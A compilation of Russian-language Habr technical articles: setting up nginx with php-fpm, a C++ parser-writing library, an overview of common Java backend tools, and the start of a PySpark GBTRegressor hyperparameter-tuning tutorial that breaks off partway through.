Первым делом я перечитал огромную кучу информации, найденной в поисковиках, и везде было практически одно и то же, скачать php, наложить патч php-fpm, make, make install, решение вполне понятное но не совсем правильное для ОС с системами управления пакетами.
Поэтому мной было найдено решение с использованием пакетного менеджера, его я и приведу ниже.
Все манипуляции производились мной на Amazon EC2 micro с установленной ОС Amazon Linux x64, поэтому буду описывать все манипуляции для этой системы. Для других систем все и пакетных менеджеров все практически идентично.
##### Установка компонентов
Установка nginx:
`sudo yum install nginx`
Установка php(мне это не понадобилось т.к. у меня работал Apache+php):
`sudo yum install php`
Установка php-fpm:
`sudo yum install php-fpm`
После установки понадобиться небольшая настройка.
Настройка nginx для работы с php-fpm, файл конфигурации находиться /etc/nginx/nginx.conf:
Вся настройка сводиться к добавления внутрь секции «location» следующего текста. Не забудет так же исправить порт на котором работает сервис если вы так же как и я изначально его будете ставить на систему с уже работающим веб-сервером Apache.
```
location ~ \.php$ {
#root ;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html/$fastcgi_script_name;
include fastcgi_params;
}
```
Для запуска связки в режиме стандартных настроек, ничего менять в файле конфигурации(/etc/php-fpm.conf) не надо. Все параметры конфигурации хорошо описаны в самом файле, так же дополнительно можно посмотреть [тут](http://www.php.net/manual/en/install.fpm.configuration.php).
##### Запуск
Когда настройки завершены переходим к запуску, здесь все еще проще
`sudo service php-fpm start
sudo service nginx start`
Тестирование, сравнение apache+php и nginx+php-fpm, приводить здесь не буду потому что это статья про настройку. Выражу здесь только свое субъективное мнение nginx+php-fpm работает не значительно быстрее apache+php. | https://habr.com/ru/post/134181/ | null | ru | null |
# Способ написания синтаксических анализаторов на c++
В этой статье рассказывается, как писать синтаксические анализаторы с помощью [этой](https://github.com/FeelUsM/common-parse-lib/) небольшой библиотеки на с++.
Обычно, текст на машинном языке состоит из предложений, те — из подпредложений, а те, в свою очередь, из подподпредложений, и так вплоть до символов.
Например, элемент xml состоит из открывающего тега, содержимого и закрывающего тега. —> Открывающий тег состоит из '<', имени тега, возможно пустого списка атрибутов и '>'. —> Закрывающий тег состоит из ''. —> Атрибут состоит из имени, знаков '=', '"', строки символов и снова '"'. —> Содержимое в свою очередь тоже может содержать элементы. —> И т.д. Таким образом, после разбора получается синтаксическое дерево.
Такие языки удобно описывать формой Бэкуса-Наура (БНФ), где каждый нетерминал соответствует некоторому предложению языка. Когда мы пишем программы, мы обычно разбиваем их на функции и подфункции, и раз мы собрались писать синтаксический анализатор, **пусть** каждому нетерминалу БНФ соответствует одна функция нашего анализатора, и пусть каждая такая функция:
* пытается разобрать это предложение с заданной позиции
* возвращает, удалось ли ей это сделать
* возвращает позицию, где закончился разбор или произошла ошибка
* а также, возможно, возвращает некоторые дополнительные данные, которые мы хотим получить в результате разбора
Например для БНФ вида `expr ::= expr1 expr2 expr3` будем писать такую функцию:
```
bool read_expr(char *& p, ....){
if(!read_expr1(p, ....))
return false;
//функция read_expr1() оставляет p там, где завершился разбор expr1
//так что никаких манипуляций с p в данном месте не требуется
if(!read_expr2(p, ....))
return false;
if(!read_expr3(p, ....))
return false;
/*обработку возвращаемых значений добавить по вкусу*/
return true;
}
```
А для предложения БНФ вида `expr ::= expr1 | expr2 | expr3` — функцию:
```
bool read_expr(const char *& p, ....){
const char * l = p;
if(read_expr1(p, ....))
return true;
//p может указывать на точку, где произошла ошибка при разборе expr1
p = l;
if(read_expr2(p, ....))
return true;
p = l;
if(read_expr3(p, ....))
return true;
return false;
/*обработку возвращаемых значений добавить по вкусу*/
}
```
(Кажется это называется синтаксический анализ с возвратами)
Не всякий текст, удовлетворяющий БНФ нам может подходить. Например элемент языка xml может описываться так: `element ::= '<'identifier'>'some_data''` , но это предложение будет действительно элементом, только если идентификаторы совпадают. Такие (или аналогичные) проверки можно легко добавлять в функции разбора.
Терминальные функции могут выглядеть например так:
```
bool read_fix_char(const char *& it, char c){
if(!*it) return false;//конец строки
if(*it!=c) return false;//не тот символ
//в случае неудачи указатель останется на месте
it++; //в случае удачи перейдет к следующему символу
return true;
}
bool read_fix_str(const char * & it, const ch_t * s){
while(*it)//пока не конец строки
if(!*s)
return true;
else if(*it!=*s)
return false;
//в случае неудачи указатель будет указывать на отличающийся символ
else
it++, s++;
if(!*s) return true;
return false;//конец строки оказался раньше ожидаемого
}
```
Пока что мы делали синтаксический анализ строки. Но заметим, что для всех типов вышеперечисленных функций достаточно forward итераторов.
forward stream
==============
Зададимся целью создать класс-поток, предоставляющий forward итераторы, и хранящий в памяти файл не целиком а небольшими кусочками. Тогда, если сделать функции разбора шаблонными, то их можно будет использовать и со строкамии, и с потоками. (Что и сделано в «base\_parse.h» для терминальных (и около того )функций.) Но сначала внесем некоторые разъяснения в идеологию unix «все есть файл»: Бывают файлы располагающиеся на диске — их можно читать несколько раз и с любой позиции (назовем их random-access файлами ). А бывают потоки, перенаправленные из других программ, идущие по сети или от пользователя с клавиатуры (назовем их forward потоками). Такие потоки можно читать только за один проход. (fixme) По этому, что бы можно было работать и с тем и с другим, зададимся целью создать класс-поток, читающий файл за один проход, предоставляющий forward итераторы, и хранящий в памяти файл не целиком а небольшими кусочками.
Для input итераторов такие потоки реализованы очень давно, по сути в себе содержат только один input итератор, и внутри себя содержат один буфер, по которому движется этот итератор, и когда он подходит к концу буфера, в этот буфер загружается следующий кусок файла, а итератор начинает двигаться с начала обновленного буфера.

Forward итераторы отличаются от input итераторов тем, что их можно копировать. Для потока с forward итераторами решением будет список буферов. Как только какой-нибудь итератор выходит за пределы самого правого буфера, в список добавляется новый буфер, и заполняется непосредственно из файла блоком данных. Но постепенно так в память загрузится весь файл, а мы этого не хотим. Сделаем так, чтоб удалялись все буфера, находящиеся левее буфера на котором находится самый левый (отстающий) итератор. Но мы не будем каждому буферу сопоставлять список итераторов, находящихся на нем, а будем сопоставлять всего лишь их количество (подсчет итераторов). Как только какой-нибудь буфер узнает, что на нем осталось 0 итераторов и что он самый левый, тогда удаляется он и все соседние буфера правее него, на которых тоже 0 итераторов.

Получается, каждый итератор должен содержать:
* указатель на символ (который будет возвращаться при разыменовании)
* указатель на конец массива символов в буфере (с ним происходит сравнение при перемещении итератора)
* итератор по списку буферов (для доступа к данным буфера, а через них к данным всего потока).
Когда итератор доходит до границы буфера, он смотрит, есть ли в списке буферов следующий, если его нет — загружает его, на предыдущем буфере уменьшает счетчик итераторов, а на следующем увеличивает. Если на предыдущем буфере осталось 0 итераторов — он удаляется. Если итератор дошел до конца файла — он только отвязывается от предыдущего буфера и переходит в состояние «конец файла». При копировании итератора — увеличивается счетчик итераторов на буфере на котором он находится, а при вызове деструктора итератора — счетчик уменьшается, и, опять же, если на буфере осталось 0 итераторов, то он и соседние справа буфера, на которых тоже 0 итераторов, — удаляются. Детали реализации смотри в [«forward\_stream.h»](https://github.com/FeelUsM/common-parse-lib/blob/master/forward_stream.h).
У таких итераторов есть некоторые особенности использования, отличающие их от обычных итераторов. Так например, перед разрушением(деструктором) потока (хранящего список буферов и некоторую дополнительную информацию) должны быть разрушены все итераторы, т.к. при разрушении они будут обращаться к буферам в не зависимости от того, разрушены ли те в свою очередь или нет. Если мы один раз в результате вызова метода begin() получили первый итератор (и создали первый же буфер), и он ушел на столько, что первый буфер уже удален, мы не сможем снова получить итератор методом begin(). Также (как будет видно из следующего параграфа) у потока нет метода end(). В результате чего мной было принято решение сделать внутренний итератор в потоке, который инициализируется при инициализации всего потока, и ссылку на который можно получить методом iter(). Также при использовании в алгоритмах не стоит лишний раз копировать итераторы, т.к. в памяти хранятся буфера от самого левого до самого правого итератора, и в случае больших файлов это может привести к большому расходу памяти.
В качестве бонуса, есть различные типы буферов: простые (basic\_simple\_buffer), с вычислением строки-столбца по итератору (basic\_adressed\_buffer), планируется сделать буфер, осуществляющий перекодировку между различными кодировками. В связи с чем поток параметризуется типом буфера.
atend()
=======
Конец сишной строки определяется нулевым символом. Это означает, что пока мы движемся по строке, чтобы обнаружить ее конец, нам надо не сравнивать указатель с другим указателем (как это традиционно делается в STL), а надо проверять значение, указываемое нашим указателем. С файлами примерно такая же ситуация: при посимвольном вводе char-ов мы получаем int-ы, и т.к. у них диапозон значений больше, мы опять же тестируем каждый символ на равенство EOF. Масла в огонь добавляет тот факт, что для forward потоков, поступающих в реальном времени, положение конца файла заранее неизвестно.
Эту информацию можно обобщить, сделав функцию atend(it), которая для указателей по строке будет выглядеть так:
```
bool atend(const char * p)
{ return !*p; }
```
А для итераторов по потоку она будет возвращать true, когда итератор указывает на конец файла.
strin
=====
Для интерактивного взаимодействия с пользователем (через stdin) блочная буферизация не подходит, т.к. в блоке чаще всего помещается несколько строк, и после ввода одной строки программа продолжает ожидать ввода от пользователя, т.к. блок все еще не заполнен. Для этого необходима строковая буферизация, когда буфер заполняется символами вплоть до символа перевода строки. В этой библиотеке можно выбрать тип буферизации при помощи выбора типа файла, от которого инициализируется поток (basic\_block\_file\_on\_FILE или string\_file\_on\_FILE).
strin — внутренний итератор потока над stdin'ом со строковой буферизацией.
Для неинтерактивных файлов при создании потока создается итератор, указывающий на первый символ, а значит загружается первый буфер. Для strin'а это не допустимо, т.к. программист может захотеть что-то выполнить или вывести на экран до того как программма перейдет в режим ожидания ввода строки.
По этому строковые файлы при заполнении первого буфера выдают фиктивную строку "\n". Для ее прочтения существует функция start\_read\_line(it), после выполнения которой программа переходит в режим ожидания ввода строки после чего можно произвести синтаксический анализ этой строки, не выводя при этом итераторы за пределы следующего символа '\n'.
Поле анализа прграммист может захотеть опять что-то вывести на экран, и если после этого ему опять понадобятся данные от пользователя, то перед их получением снова следует вызвать start\_read\_line(strin).
Т.о. получается цикл:
```
while(true){
cout << "приглашение" <
```
Конечно это костыль, и можно было бы сделать итераторы, которые требуют загрузки буфера только при разыменовании, но это привело бы к дополнительным проверкам при разименовании и просто усложнению всей системы…
Базовые функции парсинга
========================
Что бы пользователю не приходилось каждый раз заново писать терминальные функции, они в [«base\_parse.h»](https://github.com/FeelUsM/common-parse-lib/blob/master/base_parse.h) уже реализованы. Сейчас они реализованы (кроме обработки плавающих чисел) в общем виде, в дальнейшам планируется специализировать их с использованием строковых функций (таких как strcmp, strstr, strchr, strspn, strcspn) для указателей по строкам и для итераторов по потокам. Также они позволяют пользователю почти не думать о конце файла, и просто задают стиль кода.
Ниже представлена краткая сводка базовых функций парсинга, возвращаемые значиния и статистика их использования при реализации двух тестовых парсеров.
```
size_t n
ch_t c
ch_t * s
func_obj bool is(c) //наподобие bool isspace(c)
span spn //см выше
bispan bspn //см выше
func_obj err pf(it*) //наподобие int read_spc(it*)
func_obj err pf(it*, rez*)
len - кол-во символов, добавлненных в *pstr
. возвращаемое значение в случае реализованность
название аргументы рег.выр. если EOF если не EOF статистика использования
int read_until_eof (it&) .*$ 0 0 1 OK
int read_until_eof (it&, pstr*) .*$ len len OK
int read_fix_length (it&, n) .{n} -1 0 OK
int read_fix_length (it&, n, pstr*) .{n} -(1+len) 0 2 OK
int read_fix_str (it&, s) str -(1+len) 0 или (1+len) 9 OK
int read_fix_char (it&, c) c -1 0 или 1 11 OK
int read_charclass (it&, is) [ ] -1 0 или 1 OK
int read_charclass (it&, spn) [ ] -1 0 или 1 OK
int read_charclass (it&, bspn) [ ] -1 0 или 1 OK
int read_charclass_s (it&, is, pstr*) [ ] -1 0 или 1 OK
int read_charclass_s (it&, spn, pstr*) [ ] -1 0 или 1 1 OK
int read_charclass_s (it&, bspn, pstr*) [ ] -1 0 или 1 5 OK
int read_charclass_c (it&, is, ch*) [ ] -1 0 или 1 OK
int read_charclass_c (it&, spn, ch*) [ ] -1 0 или 1 1 OK
int read_charclass_c (it&, bspn, ch*) [ ] -1 0 или 1 OK
int read_c (it&, ch*) . -1 0 5 OK
int read_while_charclass (it&, is) [ ]* -(1+len) len OK
int read_while_charclass (it&, spn) [ ]* -(1+len) len 2 OK
int read_while_charclass (it&, bspn) [ ]* -(1+len) len OK
int read_while_charclass (it&, is, pstr*) [ ]* -(1+len) len OK
int read_while_charclass (it&, spn, pstr*) [ ]* -(1+len) len OK
int read_while_charclass (it&, bspn, pstr*) [ ]* -(1+len) len 1 OK
int read_until_charclass (it&, is) .*[ ]<- -(1+len) len OK
int read_until_charclass (it&, spn) .*[ ]<- -(1+len) len 1 OK
int read_until_charclass (it&, bspn) .*[ ]<- -(1+len) len OK
int read_until_charclass (it&, is, pstr*) .*[ ]<- -(1+len) len OK
int read_until_charclass (it&, spn, pstr*) .*[ ]<- -(1+len) len 2 OK
int read_until_charclass (it&, bspn, pstr*) .*[ ]<- -(1+len) len OK
int read_until_char (it&, c) .*c -(1+len) len OK
int read_until_char (it&, c, pstr*) .*c -(1+len) len OK
<- - говорит о том, что что после прочтения последнего символа итератор стоит не после него а на нем
int read_until_str (it&, s) .*str -(1+len) len 2 OK
int read_until_str (it&, s, pstr*) .*str -(1+len) len 1 OK
int read_until_pattern (it&, pf) .*( ) -(1+len) len OK
int read_until_pattern (it&, pf, rez*) .*( ) -(1+len) len OK
int read_until_pattern_s (it&, pf, pstr*) .*( ) -(1+len) len OK
int read_until_pattern_s (it&, pf, pstr*, rez*) .*( ) -(1+len) len OK
ch_t c
ch_t * s
func_obj bool is(c) //наподобие bool isspace(c)
span spn //см выше
bispan bspn //см выше
func_obj err pf(it*) //наподобие int read_spc(it*)
func_obj err pf(it*, rez*)
len - кол-во символов, добавлненных в *pstr
. возвращаемое значение в случае реализованность
название аргументы рег.выр. если EOF если не EOF статистика использования
int read_line (it&, s) .*[\r\n]<- -1 или len len OK
int read_line (it&) .*[\r\n]<- -1 или len len 1 OK
int start_read_line (it&) .*(\n|\r\n?) -1 0 или 1 8 OK
<- - говорит о том, что что после прочтения последнего символа итератор стоит не после него а на нем
int read_spc (it&) [:space:] -(1+len) len OK
int read_spcs (it&) [:space:]* -(1+len) len 5 OK
int read_s_fix_str (it&, s) [:space:]*str -(1+len) 0 или len 1 OK
int read_s_fix_char (it&, c) [:space:]*c -1 0 или 1 8 OK
int read_s_charclass (it&, is) [:space:][ ] -1 0 или 1 OK
int read_s_charclass_s (it&, is, pstr*) [:space:][ ] -1 0 или 1 OK
int read_s_charclass_c (it&, is, pc*) [:space:][ ] -1 0 или 1 2 OK
int read_bln (it&) [:blank:] -(1+len) len OK
int read_blns (it&) [:blank:]* -(1+len) len 1 OK
int read_b_fix_str (it&, s) [:blank:]*str -(1+len) 0 или len OK
int read_b_fix_char (it&, c) [:blank:]*c -1 0 или 1 OK
int read_b_charclass (it&, is) [:blank:][ ] -1 0 или 1 OK
int read_b_charclass_s (it&, is, pstr*) [:blank:][ ] -1 0 или 1 OK
int read_b_charclass_c (it&, is, pc*) [:blank:][ ] -1 0 или 1 OK
int_t может быть : long, long long, unsigned long, unsigned long long - для специализаций
[:digit:] ::= [0-"$(($ss-1))"]
sign ::= ('+'|'-')
int ::= spcs[sign]spcs[:digit:]+
. специализация для
. [w]char char16/32 stream_string
. возвращаемое значение в случае реализованность
название аргументы рег.выр. неудача переполнение статистика использования
int read_digit (it&, int ss, int_t*) [:digit:] 1 -1(EOF) 1 OK
int read_uint (it&, int ss, int_t*) [:digit:]+ 1 -1 1 OK
int read_sign_uint (it&, int ss, int_t*) [sign][:digit:]+ 1 -1 OK
int read_sign_s_uint (it&, int ss, int_t*) [sign]spcs[:digit:]+ 1 -1 1 OK
int read_int (it&, int ss, int_t*) spcs[sign]spcs[:digit:]+ 1 -1 1 OK OK
int read_dec (it&, int_t*) int#[:digit:]=[0-9] 1 -1 1 OK OK
int read_hex (it&, int_t*) int#[:digit:]=[:xdigit:] 1 -1 OK OK
int read_oct (it&, int_t*) int#[:digit:]=[0-7] 1 -1 OK OK
int read_bin (it&, int_t*) int#[:digit:]=[01] 1 -1 OK OK
```
Т.к. через имя функции удобно возвращать код ошибки или сообщение об ошибке, что бы текст парсеров выглядел более очевидно, я сделал специальные макросы:
```
#define r_if(expr) if((expr)==0)
#define r_while(expr) while((expr)==0)
#define r_ifnot(expr) if(expr)
#define r_whilenot(expr) while(expr)
/*
r_ifnot(err=read_smth(it))//если что-то не прочитано
return err;
*/
//следующие используются совместно с read_while_sm и read_until
#define rm_if(expr) if((expr)>=0) //типа рег. выр. '.*' * - multiple -> m
#define rm_while(expr) while((expr)>=0)
#define rm_ifnot(expr) if((expr)<0)
#define rm_whilenot(expr) while((expr)<0)
#define rp_if(expr) if((expr)>0) //типа рег. выр. '.+' + - plus -> p
#define rp_while(expr) while((expr)>0)
#define rp_ifnot(expr) if((expr)<=0)
#define rp_whilenot(expr) while((expr)<=0)
/*
rm_if(read_until_char(it,'\n'))//если прочитано 0 или более символов и символ \n
rp_if(read_until_char(it,'\n'))//если прочитано 1 или более символов и символ \n
*/
```
Хотя вполне возможно сделать какой-нибудь класс, хранящий эту информацию и преобразуемый к bool соответствующим образом.
Вообще я противник неконстантных ссылок, и считаю, что аргументы, которые функция должна изменить, должны передаваться в нее по указателю а не по ссылке, что бы при вызове это было видно, но всвязи с тем, что операторы для указателей на что бы то ни было перегружать нельзя, специально для совместимости с operator>>() (парочка таких определена в «strin.h») я итераторы везде передаю по ссылке (а возвращаемые значения по указателю).
На данный момент имеется два примера использования этих функций: [calc.cpp](https://github.com/FeelUsM/common-parse-lib/blob/master/test/calc.cpp) и [winreg.cpp](https://github.com/FeelUsM/common-parse-lib/blob/master/test/winreg.cpp).
---
Таким образом для написания парсера не требуется умения обращаться с другими программами генерации парсеров. Каждый нетерминал БНФ взаимнооднозначно переводится в функцию, которая, конечно, громоздковата по сравнению с описанием в БНФ (это можно в дальнейшем исправить, сделав функцию, делающую разбор по регулярному выражению, аналогично как в ), но зато в нее можно добавить любую проверку и обработку данных. Все это можно делать как со строками, так и с потоками в одинаковой форме. Поток ввода по умолчанию готов к вводу по умолчанию, а операторы >>, аналогичные таким же из стандартной библиотеки, дают возможность использовать эту библиотеку вместо стандартной библиотеки ввода.
Как с помощью forward\_stream делать токенезацию, я попробую рассказать и показать в следующей статье. | https://habr.com/ru/post/266589/ | null | ru | null |
# Как большинство Java проектов выглядят изнутри
Меня зовут Аксёнов Вячеслав, я бэкенд разработчик и в последние годы пишу веб приложения на java/kotlin. За всю свою практику я встречался с различными системами как в продакшене, так и в пет проектах. Некоторые системы имели свои “велосипеды”, но большинство базировались на очень похожих технических решениях.
Основная идея этой статьи описать основные технические задачи, которые ставятся перед современными веб приложениями. А также перечислить те фреймворки и библиотеки, которые чаще всего используются для решения этих задач. Бонусом захватим немного инфраструктуры.
Таким образом новички, которые не знают, чего им ждать от корпоративной разработке или в каком фреймворке подтягивать свои навыки, смогут увидеть картину мира чуть шире и сделать правильный выбор.
### Какие технические задачи бывают?
Для начала давайте разберем, какие самые распространенные проблемы и задачи ставятся перед современными веб приложениями. Ниже я привожу список самых популярных задач, с которыми приходится работать разработчику.
* Маршрутизация запросов, построение слоя контроллера.
* Написание сложной и ветвистой бизнес логики.
* Работа с базами данных.
* Работа с транспортом для сообщений.
* Тестирование.
* Статический анализ кода.
* CI/CD.
### Маршрутизация запросов / слой контроллера
Задачи, которые входят в этот слой - это направлять каждый http запрос на тот метод, который займется его обработкой. В это также входит описание модели данных, которая передается на вход, а также сериализация запроса и десериализация ответа.
На данный момент самым популярным фреймворком для построения web сервисов является Spring, а именно Spring Boot, который сразу имеет встроенный контейнер сервлетов `tomcat`, либо `netty` - в зависимости от того, какой набор конфигурации выбран.
Так что для описания эндпоинтов вашего приложения вам практически всегда, в 9 из 10 случаев, придется использовать аннотации `@GetMapping` и `@PostMapping`. В том единственном варианте из 10 за маршрутизацию будет отвечать библиотека, которая была написана внутри компании и будет делать то же самое, что и Spring Boot, только “по-своему”.
Раз практически везде используется Spring Boot, то де факто стандартом индустрии для сериализации и десериализации http запросов и ответов является библиотека `Jackson`. Она также входит в зависимости Spring Boot и активно используется внутри.
Чтобы ее использовать, потребуется создать экземпляр `ObjectMapper` и сконфигурировать его, если будет нужно. Имейте в виду, что в Spring Context уже будет инициализированный экземпляр, настроенный, как нужно Spring, так что используйте его осторожно.
Также иногда используют библиотеку от Google - GSON, принципиально она не отличается от `Jackson`.
### Написание сложной и ветвистой бизнес логики.
Выше мы уже выяснили, что стандартом индустрии по разработке web приложений на java является Spring. Это не значит, что вы не сможете встретить условный Javalin или Ktor, так что рассмотрим основную вещь, которую очень любят в Spring и так или иначе реализовывают в любом другом фреймворке. Этим подходом является паттерн dependency injection.
Если коротко, то dependency injection это про то, что вы написали отдельный кирпичик кода - класс и используете его в тех местах, где требуется логика этого кирпичика вместо написания новой.
Так что в любом проекте, в котором вы окажетесь, будет некий контекст, в котором будут храниться эти кирпичики кода, и наличие этого контекста никак не зависит от фреймворка, выбранного для разработки. Скажу по-секрету, что даже когда один из самых прогрессивных Европейских банков отказывается от Spring и разрабатывает веб сервисы на чистой Java, у них все равно есть контекст, в который закладываются все “сервисы”.
### Работа с базой данных.
Никакое веб приложение не обходится без использования хранилища данных. Таким хранилищем может быть все что угодно - текстовый файл, кэш redis. Но чаще всего, конечно, используется база данных, опять же стандартом индустрии сейчас являются:
* Postgresql (удобная, производительная, бесплатная).
* Oracle (чуть менее удобная, производительная, имеет вендорный формат.
* MongoDB (очень удобная для стартовой разработки ввиду нереляционности, крайне распространена в облачных решениях).
Для доступа к базе данных нужно иметь возможность открывать соединения, следить за открытыми потоками, выполнять sql запросы, заниматься конвертацией и тд.
В настоящее время большое распространение имеет подход ORM - Object-Relational Mapping. Чтобы покрыть весь спектр задач для хранения информации бд, нужно решать 4 вида операций (тот самый CRUD) - `create, read, update, delete.`
Самые популярные реализации этого подхода заключает в себе фреймворк - `Hibernate`. Он способен генерировать sql запросы в зависимости от кода и сущностей, однако делает это не всегда оптимально.
Также мы не забыли, что стандартом индустрии является Spring Boot, для него также существует реализация ORM работы с бд - `Spring Data JPA`. Она представляет собой обертку над `Hibernate` , с которой можно работать на более высоком уровне абстракций. Она удобно конфигурится и даже позволяет писать запросы без sql вообще. Но если есть потребность написать raw sql и выполнить его, это также можно сделать.
И наконец, самый мощный инструмент, который предоставляет самое лучшее быстродействие, но фактически не реализует ORM идеологию - `jdbcTemplate`. Его суть в выполнении сырых sql запросов. Но если написать поверх него свою логику конвертации и применять его для хранения сущностей в бд по логике ORM, то получится очень быстрый и кастомизируемый инструмент.
### Работа с транспортом
В качестве транспорта для сообщений используют такие синхронные способы, как http запросы GET/POST. Для них используется либо `RestTemplate`, который входит в список зависимостей Spring Boot, либо более новый и `WebClient`.
Для асинхронных взаимодействий используются брокеры сообщений, самые популярные из которых - rabbitmq и kafka. В этой статье я не буду погружаться в их отличие друг от друга. Остановлюсь на способе интеграции с ними из кода - для этого используются модули Spring Boot, либо самописный “велосипед”, если речь идет про большую компанию. Самые популярные расширения для Spring Boot проекта - это spring-kafka и spring-boot-starter-amqp.
### Тестирование
Тестирование - это неотъемлемая часть любой уважающей себя разработки. В наших реалиях если разработка ведется не сразу в TDD парадигме (Test Driven Development), то внутри команды устанавливается порог кода, который должен быть покрыт тестами.
Тесты пишутся в следующих форматах:
* unit тесты - для тестирования берется отдельный класс или даже его метод.
* интеграционные тесты - тестируется отдельный участок системы вместе с интеграцией с другими элементами. Например интеграционное тестирование процесса в сервисе и его работа с базой данных.
Сторонние библиотеки в тестах нужны для решения задач непосредственно тестирования, а также мокирования (эмуляция ответа какого-то сервиса или интеграции).
Для тестирования чаще всего используют `junit 5`, `TestNG`, `kotest` (kotlin). Для мокирования стандартом java разработки является mockito, для kotlin - `mockk`. Для тестирования Spring Boot приложений используется стартер `spring-boot-starter-test`, который уже включает в себя все необходимые зависимости и умеет строить Spring Context для каждого теста.
Крайне редко бывают настолько сложные и витиеватые процессы, что для тестирования одного сценария нужно вызывать много эндпоинтов одного сервиса. В таком случае нужно быть готовым к тому, что вы столкнетесь с самописными “велосипедами”, такими как отдельное Spring Boot приложение, которое занимается вызовом эндпоинтов и тестированием основного тестируемого приложения.
### Статический анализ
Суть статического анализа кода - это проверка кода на соответствие условиям - отсутствие дублирующего кода, покрытия тестами, соответствие код стайлу и тд.
Как правило для проверок соответствия код стайлу используются такие штуки, как “Линтеры”. По своей природе это те же самые плагины для `gradle`, `maven`. Обычно они запускаются автоматически в ходе настроенного пайплайна. Иногда нужно быть готовым, что нужно вызвать команду, которая отформатирует ваш код по настроенным в линтере правилам.
Для Java самыми популярными линтерами являются - `Checkstyle` и `SonarLint`. Для kotlin - `ktlint`
Для статического анализа, с подсказками и прочими полезными штуками в подавляющем большинстве проектов используется настроенный sonarqube. Для маленьких проектов - codacy или codeclimate. Я бы рекомендовал их использовать даже для пет проектов.
Однако не все проекты имеют выстроенные процессы по поддержанию чистоты кода. Это может происходить в силу различных причин - быстро изменяющийся проект, недостаточное количество времени у команды для выстраивания процессов.
CI/CD - Continuous Integration и Continuous Deployment - это процессы, без которых невозможно представить современную разработку. Можно запаковывать jar файлы руками и руками разворачивать их на серверах, но это увеличивает вероятность ошибок, вызванных человеческим фактором. Чтобы базовые инфраструктурные действия не вызывали большой головной боли, обычно используются скрипты для сборки и деплоя.
Как правило рядовым разработчикам приходится заниматься этим довольно редко, обычно это находится в зоне devops инженеров. Как правило скрипты выполняются в окружении Jenkins, либо Gitlab CI.
Сами скрипты представляют собой набор действий, которые должны быть выполнены для достижения той или иной цели. Самое сложное может быть в том чтобы понять, как связывается код внутри приложения и с деплоем. Для этого используются системы сборки. На данный момент для бэкенда существуют две самые популярные - `maven` и `gradle`. В 9 случаях из 10 это `maven`, он довольно грубый, но функциональный и имеет большое количество плагинов. Также изредка встречается `gradle`, он в свою очередь более свежий, но менее широко распространенный. По функционалу ничем не уступает `maven` в большинстве моментов.
### Вывод.
В этой статье мы рассмотрели основные технические моменты, которые приходится решать бэкенд разработчику в настоящее время. А также основные способы решения задач для каждого из этих технических направлений. Буду рад информации в комментариях о том - с помощью какого инструмента в своем проекте вы решаете задачу и полностью ли вы довольны этим инструментом.
Фото от [Tracy Adams](https://unsplash.com/@tracycodes?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) на [Unsplash](https://unsplash.com/s/photos/java?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) | https://habr.com/ru/post/659271/ | null | ru | null |
# Библиотека ML Tuning: как подобрать гиперпараметры модели GBTRegressor в PySpark
Привет, Хабр! Меня зовут Никита Морозов, я Data Scientist в Сбере. Сегодня поговорим о том, как при помощи библиотеки ML Tuning осуществить подбор гиперпараметров модели GBTRegressor в PySpark. Зачем всё это нужно? Дело в том, что они используются в машинном обучении для управления процессом обучения модели. Соответственно, подбор оптимальных гиперпараметров — критически важный этап в построении ML‑моделей. Это даёт возможность не только повысить точность, но и бороться с переобучением.
Привычный тюнинг параметров в Python для моделей машинного обучения представляет собой множество техник и способов, например GridSearch, RandomSearch, HyperOpt, Optuna. Но бывают случаи, когда предобработка данных занимает слишком много времени или же объём данных слишком велик, чтобы уместиться в оперативную память одной машины. Для этого на помощь приходит Spark. Подробности — под катом.
Сразу скажу, что статья небольшая, я описываю только то, о чём говорил выше. И да, рассматривать чистку данных и feature engineering в целях экономии времени читателей не буду. Предположим, что данный процесс уже реализован.
Сразу приступим к основной задаче — рассмотрим, как в Spark работать с моделями машинного обучения на примере GBTRegressor, а главное, как подбирать гиперпараметры. Делать я это буду на всем известном датасете Boston. [Датасет](https://www.cs.toronto.edu/~delve/data/boston/bostonDetail.html) содержит информацию об объектах недвижимости в Бостоне. Его можно скачать из библиотеки sklearn. Объём датасета — (506 X 14).
GBTRegressor — модель градиентного бустинга для задачи регрессии.
Начну с импорта необходимых библиотек:
```
from pyspark.ml.feature import VectorAssembler
from pyspark.ml.regression import GBTRegressor
from pyspark.ml.evaluation import RegressionEvaluator
from pyspark.ml.tuning import CrossValidator, ParamGridBuilder
```
Загружу датасет из sklearn и запишу его в Spark DataFrame:
```
from sklearn.datasets import load_boston
import pandas as pd
boston = load_boston()
boston_df = pd.DataFrame(boston.data, columns = boston.feature_names)
boston_df['TARGET'] = boston.target
boston_df = spark.createDataFrame(boston_df)
```
Посмотрю на данные:
Теперь самое время разделить данные на train и test:
```
train, test = boston_df.randomSplit([0.8, 0.2], seed = 12345)
```
Преобразую признаки в единый вектор, а также преобразую датафрейм:
```
vec = VectorAssembler(inputCols=['CRIM', "ZN", "INDUS", "CHAS",
"NOX", "RM", "AGE", "DIS",
"RAD", "TAX","PTRATIO", "B", "LSTAT"],
outputCol='FEATURES')
vector_feature_train = vec.transform(train)
vector_feature_test = vec.transform(test)
```
Инициализирую модель GBTRegressor, явно указав, какая колонка будет отвечать за признаки, а какую колонку будем предсказывать:
```
gbt = GBTRegressor(featuresCol='FEATURES', labelCol='TARGET')
```
Объявлю Evaluator для оценки модели, в качестве метрики выбрав MAE (по умолчанию стоит RMSE):
```
evaluator = RegressionEvaluator(predictionCol='prediction',
labelCol='TARGET',
metricName = 'mae')
```
Прежде чем приступать к подбору гиперпараметров, посмотрим на точность модели с дефолтными настройками:
```
gbt_model = gbt.fit(vector_feature_train)
pred = gbt_model.transform(vector_feature_test)
mae = evaluator. evaluate(pred)
print(mae)
```
Запомним значение данной метрики, чтобы проверить, улучшится ли её значение на тестовой выборке после подбора гиперпараметров.
Объявлю сетку параметров, которые требуется подобрать, где MaxDepth — это максимальная глубина дерева, в MaxIter — количество деревьев:
```
paramGrid = ParamGridBuilder() \
.addGrid(gbt.maxIter, [10, 20, 30])\
.addGrid(gbt.maxDepth, [3, 4, 5])\
.build()
```
